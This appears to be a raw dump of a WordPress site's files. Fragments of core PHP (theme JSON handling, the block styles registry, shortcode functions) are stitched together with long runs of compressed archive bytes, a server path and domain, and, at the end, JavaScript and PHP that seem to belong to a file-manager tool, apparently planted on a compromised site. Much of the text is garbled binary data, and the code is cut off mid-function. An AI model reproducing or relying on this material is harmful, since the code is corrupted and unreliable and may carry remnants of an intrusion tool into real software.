return $result; } $result->merge( static::get_theme_data() ); if ( 'theme' === $origin ) { return $result; } $result->merge( static::get_user_data() ); return $result; } /** * Returns the ID of the custom post type * that stores user data. * * @since 5.9.0 * * @return integer|null */ public static function get_user_global_styles_post_id() { if ( null !== static::$user_custom_post_type_id ) { return static::$user_custom_post_type_id; } $user_cpt = static::get_user_data_from_wp_global_styles( wp_get_theme(), true ); if ( array_key_exists( 'ID', $user_cpt ) ) { static::$user_custom_post_type_id = $user_cpt['ID']; } return static::$user_custom_post_type_id; } /** * Determines whether the active theme has a theme.json file. * * @since 5.8.0 * @since 5.9.0 Added a check in the parent theme. * @deprecated 6.2.0 Use wp_theme_has_theme_json() instead. * * @return bool */ public static function theme_has_support() { _deprecated_function( __METHOD__, '6.2.0', 'wp_theme_has_theme_json()' ); return wp_theme_has_theme_json(); } /** * Builds the path to the given file and checks that it is readable. * * If it isn't, returns an empty string, otherwise returns the whole file path. * * @since 5.8.0 * @since 5.9.0 Adapted to work with child themes, added the `$template` argument. * * @param string $file_name Name of the file. * @param bool $template Optional. Use template theme directory. Default false. * @return string The whole file path or empty if the file doesn't exist. */ protected static function get_file_path_from_theme( $file_name, $template = false ) { $path = $template ? get_template_directory() : get_stylesheet_directory(); $candidate = $path . '/' . $file_name; return is_readable( $candidate ) ? $candidate : ''; } /** * Cleans the cached data so it can be recalculated. * * @since 5.8.0 * @since 5.9.0 Added the `$user`, `$user_custom_post_type_id`, * and `$i18n_schema` variables to reset. * @since 6.1.0 Added the `$blocks` and `$blocks_cache` variables * to reset. */ public static function clean_cached_data() { static::$core = null; static::$blocks = null; static::$blocks_cache = array( 'core' => array(), 'blocks' => array(), 'theme' => array(), 'user' => array(), ); static::$theme = null; static::$user = null; static::$user_custom_post_type_id = null; static::$i18n_schema = null; } /** * Returns an array of all nested JSON files within a given directory. * * @since 6.2.0 * * @param string $dir The directory to recursively iterate and list files of. * @return array The merged array. */ private static function recursively_iterate_json( $dir ) { $nested_files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $dir ) ); $nested_json_files = iterator_to_array( new RegexIterator( $nested_files, '/^.+\.json$/i', RecursiveRegexIterator::GET_MATCH ) ); return $nested_json_files; } /** * Determines if a supplied style variation matches the provided scope. * * For backwards compatibility, if a variation does not define any scope * related property, e.g. `blockTypes`, it is assumed to be a theme style * variation. * * @since 6.6.0 * * @param array $variation Theme.json shaped style variation object. * @param string $scope Scope to check e.g. theme, block etc. * @return boolean */ private static function style_variation_has_scope( $variation, $scope ) { if ( 'block' === $scope ) { return isset( $variation['blockTypes'] ); } if ( 'theme' === $scope ) { return ! isset( $variation['blockTypes'] ); } return false; } /** * Returns the style variations defined by the theme. * * @since 6.0.0 * @since 6.2.0 Returns parent theme variations if theme is a child. * @since 6.6.0 Added configurable scope parameter to allow filtering * theme.json partial files by the scope to which they * can be applied e.g. theme vs block etc. * Added basic caching for read theme.json partial files. * * @param string $scope The scope or type of style variation to retrieve e.g. theme, block etc. * @return array */ public static function get_style_variations( $scope = 'theme' ) { $variation_files = array(); $variations = array(); $base_directory = get_stylesheet_directory() . '/styles'; $template_directory = get_template_directory() . '/styles'; if ( is_dir( $base_directory ) ) { $variation_files = static::recursively_iterate_json( $base_directory ); } if ( is_dir( $template_directory ) && $template_directory !== $base_directory ) { $variation_files_parent = static::recursively_iterate_json( $template_directory ); // If the child and parent variation file basename are the same, only include the child theme's. foreach ( $variation_files_parent as $parent_path => $parent ) { foreach ( $variation_files as $child_path => $child ) { if ( basename( $parent_path ) === basename( $child_path ) ) { unset( $variation_files_parent[ $parent_path ] ); } } } $variation_files = array_merge( $variation_files, $variation_files_parent ); } ksort( $variation_files ); foreach ( $variation_files as $path => $file ) { $decoded_file = self::read_json_file( $path ); if ( is_array( $decoded_file ) && static::style_variation_has_scope( $decoded_file, $scope ) ) { $translated = static::translate( $decoded_file, wp_get_theme()->get( 'TextDomain' ) ); $variation = ( new WP_Theme_JSON( $translated ) )->get_raw_data(); if ( empty( $variation['title'] ) ) { $variation['title'] = basename( $path, '.json' ); } $variations[] = $variation; } } return $variations; } /** * Resolves relative paths in theme.json styles to theme absolute paths * and returns them in an array that can be embedded * as the value of `_link` object in REST API responses. * * @since 6.6.0 * @since 6.7.0 Resolve relative paths in block styles. * * @param WP_Theme_JSON $theme_json A theme json instance. * @return array An array of resolved paths. */ public static function get_resolved_theme_uris( $theme_json ) { $resolved_theme_uris = array(); if ( ! $theme_json instanceof WP_Theme_JSON ) { return $resolved_theme_uris; } $theme_json_data = $theme_json->get_raw_data(); /* * The same file convention when registering web fonts. * See: WP_Font_Face_Resolver::to_theme_file_uri. */ $placeholder = 'file:./'; // Top level styles. $background_image_url = $theme_json_data['styles']['background']['backgroundImage']['url'] ?? null; if ( isset( $background_image_url ) && is_string( $background_image_url ) && // Skip if the src doesn't start with the placeholder, as there's nothing to replace. str_starts_with( $background_image_url, $placeholder ) ) { $file_type = wp_check_filetype( $background_image_url ); $src_url = str_replace( $placeholder, '', $background_image_url ); $resolved_theme_uri = array( 'name' => $background_image_url, 'href' => sanitize_url( get_theme_file_uri( $src_url ) ), 'target' => 'styles.background.backgroundImage.url', ); if ( isset( $file_type['type'] ) ) { $resolved_theme_uri['type'] = $file_type['type']; } $resolved_theme_uris[] = $resolved_theme_uri; } // Block styles. if ( ! empty( $theme_json_data['styles']['blocks'] ) ) { foreach ( $theme_json_data['styles']['blocks'] as $block_name => $block_styles ) { if ( ! isset( $block_styles['background']['backgroundImage']['url'] ) ) { continue; } $background_image_url = $block_styles['background']['backgroundImage']['url']; if ( is_string( $background_image_url ) && // Skip if the src doesn't start with the placeholder, as there's nothing to replace. str_starts_with( $background_image_url, $placeholder ) ) { $file_type = wp_check_filetype( $background_image_url ); $src_url = str_replace( $placeholder, '', $background_image_url ); $resolved_theme_uri = array( 'name' => $background_image_url, 'href' => sanitize_url( get_theme_file_uri( $src_url ) ), 'target' => "styles.blocks.{$block_name}.background.backgroundImage.url", ); if ( isset( $file_type['type'] ) ) { $resolved_theme_uri['type'] = $file_type['type']; } $resolved_theme_uris[] = $resolved_theme_uri; } } } return $resolved_theme_uris; } /** * Resolves relative paths in theme.json styles to theme absolute paths * and merges them with incoming theme JSON. * * @since 6.6.0 * * @param WP_Theme_JSON $theme_json A theme json instance. * @return WP_Theme_JSON Theme merged with resolved paths, if any found. */ public static function resolve_theme_file_uris( $theme_json ) { $resolved_urls = static::get_resolved_theme_uris( $theme_json ); if ( empty( $resolved_urls ) ) { return $theme_json; } $resolved_theme_json_data = $theme_json->get_raw_data(); foreach ( $resolved_urls as $resolved_url ) { $path = explode( '.', $resolved_url['target'] ); _wp_array_set( $resolved_theme_json_data, $path, $resolved_url['href'] ); } return new WP_Theme_JSON( $resolved_theme_json_data ); } /** * Adds variations sourced from block style variations files to the supplied theme.json data. * * @since 6.6.0 * * @param array $data Array following the theme.json specification. * @param array $variations Shared block style variations. * @return array Theme json data including shared block style variation definitions. */ private static function inject_variations_from_block_style_variation_files( $data, $variations ) { if ( empty( $variations ) ) { return $data; } foreach ( $variations as $variation ) { if ( empty( $variation['styles'] ) || empty( $variation['blockTypes'] ) ) { continue; } $variation_name = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] ); foreach ( $variation['blockTypes'] as $block_type ) { // First, override partial styles with any top-level styles. $top_level_data = $data['styles']['variations'][ $variation_name ] ?? array(); if ( ! empty( $top_level_data ) ) { $variation['styles'] = array_replace_recursive( $variation['styles'], $top_level_data ); } // Then, override styles so far with any block-level styles. $block_level_data = $data['styles']['blocks'][ $block_type ]['variations'][ $variation_name ] ?? array(); if ( ! empty( $block_level_data ) ) { $variation['styles'] = array_replace_recursive( $variation['styles'], $block_level_data ); } $path = array( 'styles', 'blocks', $block_type, 'variations', $variation_name ); _wp_array_set( $data, $path, $variation['styles'] ); } } return $data; } /** * Adds variations sourced from the block styles registry to the supplied theme.json data. * * @since 6.6.0 * * @param array $data Array following the theme.json specification. * @return array Theme json data including shared block style variation definitions. */ private static function inject_variations_from_block_styles_registry( $data ) { $registry = WP_Block_Styles_Registry::get_instance(); $styles = $registry->get_all_registered(); foreach ( $styles as $block_type => $variations ) { foreach ( $variations as $variation_name => $variation ) { if ( empty( $variation['style_data'] ) ) { continue; } // First, override registry styles with any top-level styles. $top_level_data = $data['styles']['variations'][ $variation_name ] ?? array(); if ( ! empty( $top_level_data ) ) { $variation['style_data'] = array_replace_recursive( $variation['style_data'], $top_level_data ); } // Then, override styles so far with any block-level styles. $block_level_data = $data['styles']['blocks'][ $block_type ]['variations'][ $variation_name ] ?? array(); if ( ! empty( $block_level_data ) ) { $variation['style_data'] = array_replace_recursive( $variation['style_data'], $block_level_data ); } $path = array( 'styles', 'blocks', $block_type, 'variations', $variation_name ); _wp_array_set( $data, $path, $variation['style_data'] ); } } return $data; } } PK/$[$$class-wp-duotone.php.php.tar.gznu[=ks۸ uVR"K;Y'v։Ľ8 %Q7mv?)ɏl3vc8n.(KgIkA~9Z?q;q O0 64ǧ'Or7VVqnMv2HQYd0n#a?::_QTjc!>NWH@آ~x ӄS7B6i.͌ 5e.,LMҬ(wE8AzˆNZQkݞ8=zydO쟊㓣{bq~/VwGj6&ވÿ?%8:vb÷4=%=h;y?o*7#wN?윈'G{0]lxxt{wجAL}uqB|}t<|w^q0;bw=jxNt?:DHGxR4uObdz@B#4 DFP 8KGsNYY-O#g>1=\Q[5w*BjGSL6PW\D8# =&_Sv_B_$kj u(ٲj J#(pzh#+DŽ>:\_ܯa1Uٻr#ݤ #sdeo)mQjcw9 ik?y '& 'E5?XI8%FKqТh֞?H0 dt0ug%"AMj7-@ը*.GIL#bD/hMz*|:F$΍&ws0P.icUgXzf Z}PR. XʇhA8@߆!5|m.M[Dyn/1\/87bUr=,Q2H&xZ𳈅u-g9l!HhRl*0$Jq[+^,ް?zsyH@Ǒ_KqlaXve-Bڽk,,V}kem4%X"=)8G%R(g+)'b{ 뻁 ,G`32YE$Snz85*V63 2+dd[>[[})"by045&Ȗ*EE0ׯY݆۠Bn~lW#n$9TW+/qVE嗛SJ*Ilp 㑃{zӦ:\1S}ILUs_u\7 \'Ƽt΢qPJ.pZP neHm#Lq ?e8F}C狋A?ЩFjx#Hy_lgc5'9W2 USez ] 7%뀱g0 'h?ih&/+lcN)M+{ vF 0֔zju;z5RSSA8S 34Wave;=y.y4}2<PRnfMn.˲giҠA*;.6TtpT̆~A)QZ6ya80D~4p:{6] ~_v5e^(4#"ڼɎݴPԫJXfN tAS䁊c*R*p !ɐCInm! #ɊX'vr - hn7.Ǔaw4ԁx}KtU,u࿶[*5%sX 9-խf`m[m¶ojXH,)늵{,dʿsO,|U?RL(E==G|䤏41/^uјq_+os4`%'TJbG>ɦ|$ܿ\.D:zt[|nG74QIG$I 6BD񻋤 c$DnktWpa˘Mg=LyѕD ѓBX1[ͭz!+}r>%^(L2 IfI©Cs($R*VBd*bo8+ ۔q@bӹ0' <8\P%& {>w<mOf$COg0!o0WufBG@ńC/r9Wf_8}$pd/J1W&ba,|L#UvVUxu+.[3)rGR0[Np3>cy֤m@+q^ 1V"E=O)w6hpZztMW#P'4Q8sߕur"t!j B*]Oj>}-:}\OEE5>U*RR;nl*b W8Udh%F"8vI# tUAO"vƮ}?ABL:$)jUXKsg fsQC{r8nP5ĥ<;C||r Ov IETŞXe)&f˧;!e|)I3G>Ӓ̞^ ӭ_,?U]<~7 T :X{ \Z[ob%_%boS̤r#}J:|89Ƞ.Ξ(G&Uc\yVUشMNKpۂ%*r!ދq9pqd{-a"IΞ\x6Cb"5\28w}6 ,F[oT56u6DqkY ~Wer2;U1#VҮjY‰Whx~Vu>9:FTq&,Hz; "T gSl }7 *V7Dz Dm°V*Q>ҋWE0.#ҡt#rk%YH'KQJTJb F FKZQb~hR%ą_ǮBM ya+(xRLLN`i<-lF.__`[a٬///kk0WF*-b Ͻ|^m-6^zd[Rԯ^eb\(~x^zS n Qo >υM#|FW燗F/@Lm^wk ng 7n "kڱp<w$(<オ}(+&#ؐڪgZ[BmEmSQ[Yy8&%9 H=y ĉ)&ċ|3 .H0ch W@3:{uϝusϝ9yy0$qз3xEV#jE/ "Qs[] ,[// @=NPђnƚb<"+R<%0)n#bS)Ūd.RI۔ `En]`axnEiƢ;QlyMϻJȸ9wpk1w.Н_ĹR V&ɀk]vrٵ\yHfz'IekϮ ha]JX SP+RKF!]݄ގ"UX o0vd2)CP1I֔\'{&"Cw~|3! {ѤϢHޥrS4&6[O/n_֚@jVJI!d@9t?6A 0 FX çSЩ3b[Kf,'rٌt./CX~mV )5TƸdPH Sn5Qzztyrtl,['G{'xat`us3-??AsI5Q(4 Q,V{n6icxҊK7'yi"GhOpqrܛx@ү%Fxaɽcm[@œ JȊ»P _O~߭ ֯M:,ehhmJ鵖PuwU.t9f&̘9Ў7~H30UiOf1 SesvXwxV}0a]ztpF#ߣH/n%+1VK9cP&nҊ;!1nӲ"DؤNޠ6\8S%NnO驭|0%bX0E #y+ղQj !H&_3fҨpQU[H94ʹZH E3r&6/ ooWˬ4oHbTIlvվnק+XB`馂wI K7S.uftŊO ): Z583JB6NQDN:I ,h/2x[uK+[R^$BC3}z켐 ߧx X&F։1 є@"FuޢE[DΥ\$L$Ye12x$/dd;eo@TpqqTB:pdK?%[_5X ef ? _z (yӏ8P͜,@(v/!wec*bU͏m90~_Μ3I^|E!H;nG YFkGjӏop+DWI=xMn5ps*: Y1I/a]hJ"MU@1xgMPU68abBPo4;:4wPŒyڶ UY1.>+џC&-[ u*]޶}<']gކ#7l%\wJŃpwI0<*S%q2^(AzR`L 柕8FY#M 4xs3~,+ dY8ZQcL+3a-{3nH\/nVvyFIG2klx0pekv+l&h"[^EVv0Ɗ,iK$yo4m9{5C|N}.tT#lN&$J+NZ/֥ɨKtԦܹ<Ǽԫ1(g}%NmONbvR[;ਇ+|}O'9+V|"b rxˡC5{ٻVKV-vy;p|-yL\tH[NʸQ _Լ%r0i7!-,9\۷dS ~UN`^I̎#W ()E@ZGLFq \{qirSBqFl_Jg0]tm]h_U]PJ² K<ǒJn\Eכuy:mҡ},A-䜲 E+==`@)2OV!@E{XWd X?onV]7RdJ%wCh^3“ ,X0PEG~WKY"ﲴ9]t'(^@D>q<[`Jٚ$ VEe+%cS3 a!7ì[&E͎~͇ؑe\%̗̔ *y"ZXQXSEHY,+x+g)a-pV8Zqd=FFFܨd^Xprs6m؉ahU5\'Fsm;e/ Q󉅙k9m"dbUg1@cf:gSgmpJ^:Pw"o묶-,\Ӱ/Y#:ږmUsI:Xʙ[Rܚg& J5қ ]c6 \ӕ^1?]88Ii;=TǘMqKbLkM5)G9=y^vS"1ߦ: =TҔ:' tl$vث3 ̀Ƭ $|l#%3g`-u 'ovTz)}΢X((4^ | (q:f ig@W.z@LbE|A苜B5ݶ6 9XUz7jPD텳f$_.^&4Cr^z8 zOoX^1{ v;"a. *lFԉL)=L9RӃP!\$=eu|ىtrI*0D{3LyAӎ<>Aǟ6z=$q[fک2QDtf]&#iݕ uMvZiV^i j ;smzC}G?]sl)Oj< 2e-| Ili:\5.e'}[gm~7N{[٬Ku^Җ{_zҚxS#_HC3 K')U] >?>||PK1$[ &class-wp-block-styles-registry.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wp-block-styles-registry.php000064400000014403150547666640023702 0ustar00 $block_style_name => $block_style_properties` multidimensional arrays. * * @since 5.3.0 * * @var array[] */ private $registered_block_styles = array(); /** * Container for the main instance of the class. * * @since 5.3.0 * * @var WP_Block_Styles_Registry|null */ private static $instance = null; /** * Registers a block style for the given block type. * * If the block styles are present in a standalone stylesheet, register it and pass * its handle as the `style_handle` argument. If the block styles should be inline, * use the `inline_style` argument. Usually, one of them would be used to pass CSS * styles. However, you could also skip them and provide CSS styles in any stylesheet * or with an inline tag. * * @since 5.3.0 * @since 6.6.0 Added ability to register style across multiple block types along with theme.json-like style data. * * @link https://developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/ * * @param string|string[] $block_name Block type name including namespace or array of namespaced block type names. * @param array $style_properties { * Array containing the properties of the style. * * @type string $name The identifier of the style used to compute a CSS class. * @type string $label A human-readable label for the style. * @type string $inline_style Inline CSS code that registers the CSS class required * for the style. * @type string $style_handle The handle to an already registered style that should be * enqueued in places where block styles are needed. * @type bool $is_default Whether this is the default style for the block type. * @type array $style_data Theme.json-like object to generate CSS from. * } * @return bool True if the block style was registered with success and false otherwise. */ public function register( $block_name, $style_properties ) { if ( ! is_string( $block_name ) && ! is_array( $block_name ) ) { _doing_it_wrong( __METHOD__, __( 'Block name must be a string or array.' ), '6.6.0' ); return false; } if ( ! isset( $style_properties['name'] ) || ! is_string( $style_properties['name'] ) ) { _doing_it_wrong( __METHOD__, __( 'Block style name must be a string.' ), '5.3.0' ); return false; } if ( str_contains( $style_properties['name'], ' ' ) ) { _doing_it_wrong( __METHOD__, __( 'Block style name must not contain any spaces.' ), '5.9.0' ); return false; } $block_style_name = $style_properties['name']; $block_names = is_string( $block_name ) ? array( $block_name ) : $block_name; // Ensure there is a label defined. if ( empty( $style_properties['label'] ) ) { $style_properties['label'] = $block_style_name; } foreach ( $block_names as $name ) { if ( ! isset( $this->registered_block_styles[ $name ] ) ) { $this->registered_block_styles[ $name ] = array(); } $this->registered_block_styles[ $name ][ $block_style_name ] = $style_properties; } return true; } /** * Unregisters a block style of the given block type. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param string $block_style_name Block style name. * @return bool True if the block style was unregistered with success and false otherwise. */ public function unregister( $block_name, $block_style_name ) { if ( ! $this->is_registered( $block_name, $block_style_name ) ) { _doing_it_wrong( __METHOD__, /* translators: 1: Block name, 2: Block style name. */ sprintf( __( 'Block "%1$s" does not contain a style named "%2$s".' ), $block_name, $block_style_name ), '5.3.0' ); return false; } unset( $this->registered_block_styles[ $block_name ][ $block_style_name ] ); return true; } /** * Retrieves the properties of a registered block style for the given block type. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param string $block_style_name Block style name. * @return array Registered block style properties. */ public function get_registered( $block_name, $block_style_name ) { if ( ! $this->is_registered( $block_name, $block_style_name ) ) { return null; } return $this->registered_block_styles[ $block_name ][ $block_style_name ]; } /** * Retrieves all registered block styles. * * @since 5.3.0 * * @return array[] Array of arrays containing the registered block styles properties grouped by block type. */ public function get_all_registered() { return $this->registered_block_styles; } /** * Retrieves registered block styles for a specific block type. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @return array[] Array whose keys are block style names and whose values are block style properties. */ public function get_registered_styles_for_block( $block_name ) { if ( isset( $this->registered_block_styles[ $block_name ] ) ) { return $this->registered_block_styles[ $block_name ]; } return array(); } /** * Checks if a block style is registered for the given block type. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param string $block_style_name Block style name. * @return bool True if the block style is registered, false otherwise. */ public function is_registered( $block_name, $block_style_name ) { return isset( $this->registered_block_styles[ $block_name ][ $block_style_name ] ); } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.3.0 * * @return WP_Block_Styles_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } PK4$[Lrss.php.php.tar.gznu[N}bKh438UY,^9`ENhu6]A\2_?O5<}}mmss}}okO~x?}ÆX꙾SE\ ?ϞÎ.>|$hɓ-!x k?[޽"o^ONWGg8Cǰ|,zǽ7l+9.bŏ_ZA&Al[Y& 9i ˂Nw*I~`ۥ P㈼ժ 8(! Id\!T7蒌C SOEL†dL@[ AT: K"!; .c热\MzĬ87E Z]>L4;O,18'F4̬0aջP)s0ENјw'bGHM3M{zv~Thyj(y9 ~a%} F1j|ӛ, Tt*yxU*+Euu5,57ؾ@ Kwb,W^#`0vOQ^|y^P{A w]2 l x7L5R)I \QDZ#y* -teu; E~ БɢW6b\|e׌3v5Eȍ=$!J`,"T@rYr Z1hb)N=Kuw{UtJ D( 3vf]X!@4 DBQ6S#B)Y&AZ+L#XCDӂ|>G42 =rp0fE h6I9o FZIeI>Bb F') 0+ p$VX0d3K𫊆Je/I2ROԴؕPv-Uxl\ɼ~t GO|E3fhF%Wip_T+GIFҿlU{b }œ!l:ih~i]Nrdb X+HXc%v@i0{ݏl$9рAk,zFyGN>dUkN:1r,oey!4SaZ #fpgijZσ(GSpARZuXH\&~gGPE(`  uשwÏ=%Bռ]E5ͤM(w>ɡe7n+FwG3vɷ'DU %>{-@GOmpǻequAt * _Ϩ+#| ͈$jit)a\+ w :?v.@tY $Ʒ9m4$@#Tf~6ɄHz>,4J:؋e7֟ӎi upJݎ .2r0Vg振m HG͡xPݶ&/4@4Hn)|"Z@AԌ}hJh;2xALWUN1`K2u" @Fyו8#KW,-|d7xE4h)@>MuyO78jѠ=3~ /w ^uҒ m~R8 6iYoT_rKah3 njPt~)E"28KybFMo?[qn\W+ʤ5lMV䋃n>8K~ :vnGwox7L$ORㄱ.(D_ɶEh}t)>|~^V*V\mA0m-Z_<0ډ\o!4`vn,%ufe禭*n֘;Ll1Sô4Lvmw[z_+o& XFtZBCW Ά>tH2d=: N8cmg`u# r9rH/jtJE"5~b qY>?MZ {,Og +Vـ}v^[hoVJx;3&SJ+o{\t1)T{jc{#^\=5:+a-Kk8a2R}D&JGk8U=b0 .R3PbSO*b"kʋ@Lgrňo%YQ:}Ӫ]Q$y9[- Lr+F~qzgρs[9-lULp$ lW gQ1N! 瀤&ʫ܃`0SQ Q5+MGeeI2g9DW$ lN(+AQ9iW|HHɌˀ`s\5Mö]PX… j*}3WFmto;b=P+ m^,d7f7B."5"8CO-9ːO['Ԓ֮ $yY;5P/Oznޫ1/ҕ]*Prqzz5e4WТ֨Ef5¿KXĪ:ٱ] 9oHBBT}XKVQ=ڀ&7 f3)mޛrLZk5J^({sE@2f?wyUFT2ZCgHuI0pjfX([|Gvźci[um#BG0\bS&)ZGaE!>۫sOlYͮ{LfD~L~Ē3v4A]FqT,YJXO j)Tq) X| +Ez_8O<%C`5f,tX ІR}/t85J}-;?%ۈgKai9*48!N!oM2˒8b`|]TM9 4/9x?T3Sv gll TDrRgF-%ft5 *n|*\WWVU|oӠW%{=td+vu5W㵵XhƁ$l/ W|ir`5p@xk m}e0tє:8-.w9 R9VQ `POtzyFb pʫ؆hH VtTGf.JMsi`HZH `SӾZm*˭r]Pa ]7~j\'N'*rl-bEWr`J|j!$Q(Ev[;0c <Э&IJx窒$JCGt:u&Y{ґR@o8VPaowEJ/i)jS/PlLC!4[..ŋN}͸.1=JЕDahLS,'CnQ>hwo/^si8YETDvҍ ވ/!$C^j> ~`P̠ ѽ*iwkwjp,`k5A$#N\h]~Yp'v?5O&IiU9Glf&GLp渵;ڥ&{h@~JLӹ b1&&2"E߹E+F7T8p^PgPCݧ4Zs|/ݗP&X#>l xC3xxkv>>]g_;Ϸ:+.zsOн6uS'2:W _>}хX47xq)b ^. x;U@|B#?\}ݨ>nV_w) x 4>ȸ.ADj^= j>drBܺp*ʙ*3qZ:?xNR%]'Dp(Z\=P,~}A&j!Y}]_Se EkTHn\tjAWx>y1#Ѕ.pv#uj)<weRI'b#+|(V֭I(m/mm꣩dzӏZQ>E{I<^f sU~-OHV_|0z\jKuy+rZ#z[ yuQ.Vs2EZ`R*.Zr"Txx׳$=ة鬙GIA;ꢂ* GUڔ֬0bN~n /zhY E;/mAo7gU^!']e [2`wAnU0bR ^p!APU=탌a逬4: Yz vUTHa%:K,At.>3{{7 `l9EʅJMZr}*)&1ߍ%#RUKTjV<'3~5SJsEj_Z$ y% pbS)S*SK(1ă7Y·Y, bSxQY" :m;|Vf!:B:FVV28 OfY o65]=L֧](옌'|O_>}|t4bPK6$[pɀaa-class-wp-block-bindings-source.php.php.tar.gznu[W]o6+.q[vҥkm@>M{q2<9>Fǧhj% 2J߃'\ekpl]]QWzW39vٛosIBVJRUIwQYFI0At"9P<8A8(W̘@BJNR0dzVy\Cv ޒ(x lA4]!7 0ϔYf4~j[6 '1uarD!}[,y]NɄG n3P$5-EoDRdIis `hOLP[u?"%@aI|pJ>ܤi- Ks'\ Mܰ& n7 fF:]Ľw˘1dTD gKBXP ;ޘI"^_oyHIVRTjF\y|Zha]w˯^A8o^ip`P͠t(|Sx{~~r޷"Trīr)C3K2+dz&lA9%1T 85Fid0سY FyPG,E=N4~,1鮏 %m)|6lOƭ"~%r>B.zRV=` `*F 6PAƟFyW 2v1ܬWZ+Z{U O|dbJehB<C[\L+΍I ZN>uV;>>>>_ȃUuɝC{kmRյWk6tW]8|dL22{{K%sHߥZkiSL%~y,!hnv凋0Ä́Ic&/\[\]\x00-\x20=]@', $tag ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: Shortcode name, 2: Space-separated list of reserved characters. */ __( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ), $tag, '& / < > [ ] =' ), '4.4.0' ); return; } $shortcode_tags[ $tag ] = $callback; } /** * Removes hook for shortcode. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to remove hook for. */ function remove_shortcode( $tag ) { global $shortcode_tags; unset( $shortcode_tags[ $tag ] ); } /** * Clears all shortcodes. * * This function clears all of the shortcode tags by replacing the shortcodes global with * an empty array. This is actually an efficient method for removing all shortcodes. * * @since 2.5.0 * * @global array $shortcode_tags */ function remove_all_shortcodes() { global $shortcode_tags; $shortcode_tags = array(); } /** * Determines whether a registered shortcode exists named $tag. * * @since 3.6.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $tag Shortcode tag to check. * @return bool Whether the given shortcode exists. */ function shortcode_exists( $tag ) { global $shortcode_tags; return array_key_exists( $tag, $shortcode_tags ); } /** * Determines whether the passed content contains the specified shortcode. * * @since 3.6.0 * * @global array $shortcode_tags * * @param string $content Content to search for shortcodes. * @param string $tag Shortcode tag to check. * @return bool Whether the passed content contains the given shortcode. */ function has_shortcode( $content, $tag ) { if ( ! str_contains( $content, '[' ) ) { return false; } if ( shortcode_exists( $tag ) ) { preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) { return false; } foreach ( $matches as $shortcode ) { if ( $tag === $shortcode[2] ) { return true; } elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) { return true; } } } return false; } /** * Returns a list of registered shortcode names found in the given content. * * Example usage: * * get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' ); * // array( 'audio', 'gallery' ) * * @since 6.3.2 * * @param string $content The content to check. * @return string[] An array of registered shortcode names found in the content. */ function get_shortcode_tags_in_content( $content ) { if ( false === strpos( $content, '[' ) ) { return array(); } preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) { return array(); } $tags = array(); foreach ( $matches as $shortcode ) { $tags[] = $shortcode[2]; if ( ! empty( $shortcode[5] ) ) { $deep_tags = get_shortcode_tags_in_content( $shortcode[5] ); if ( ! empty( $deep_tags ) ) { $tags = array_merge( $tags, $deep_tags ); } } } return $tags; } /** * Searches content for shortcodes and filter shortcodes through their hooks. * * This function is an alias for do_shortcode(). * * @since 5.4.0 * * @see do_shortcode() * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped. * Default false. * @return string Content with shortcodes filtered out. */ function apply_shortcodes( $content, $ignore_html = false ) { return do_shortcode( $content, $ignore_html ); } /** * Searches content for shortcodes and filter shortcodes through their hooks. * * If there are no shortcode tags defined, then the content will be returned * without any filtering. This might cause issues when plugins are disabled but * the shortcode will still show up in the post or content. * * @since 2.5.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped. * Default false. * @return string Content with shortcodes filtered out. */ function do_shortcode( $content, $ignore_html = false ) { global $shortcode_tags; if ( ! str_contains( $content, '[' ) ) { return $content; } if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) { return $content; } // Find all registered tag names in $content. preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches ); $tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] ); if ( empty( $tagnames ) ) { return $content; } // Ensure this context is only added once if shortcodes are nested. $has_filter = has_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' ); $filter_added = false; if ( ! $has_filter ) { $filter_added = add_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' ); } $content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ); $pattern = get_shortcode_regex( $tagnames ); $content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content ); // Always restore square braces so we don't break things like {table}
    ', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/ /g,"").replace(/]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if 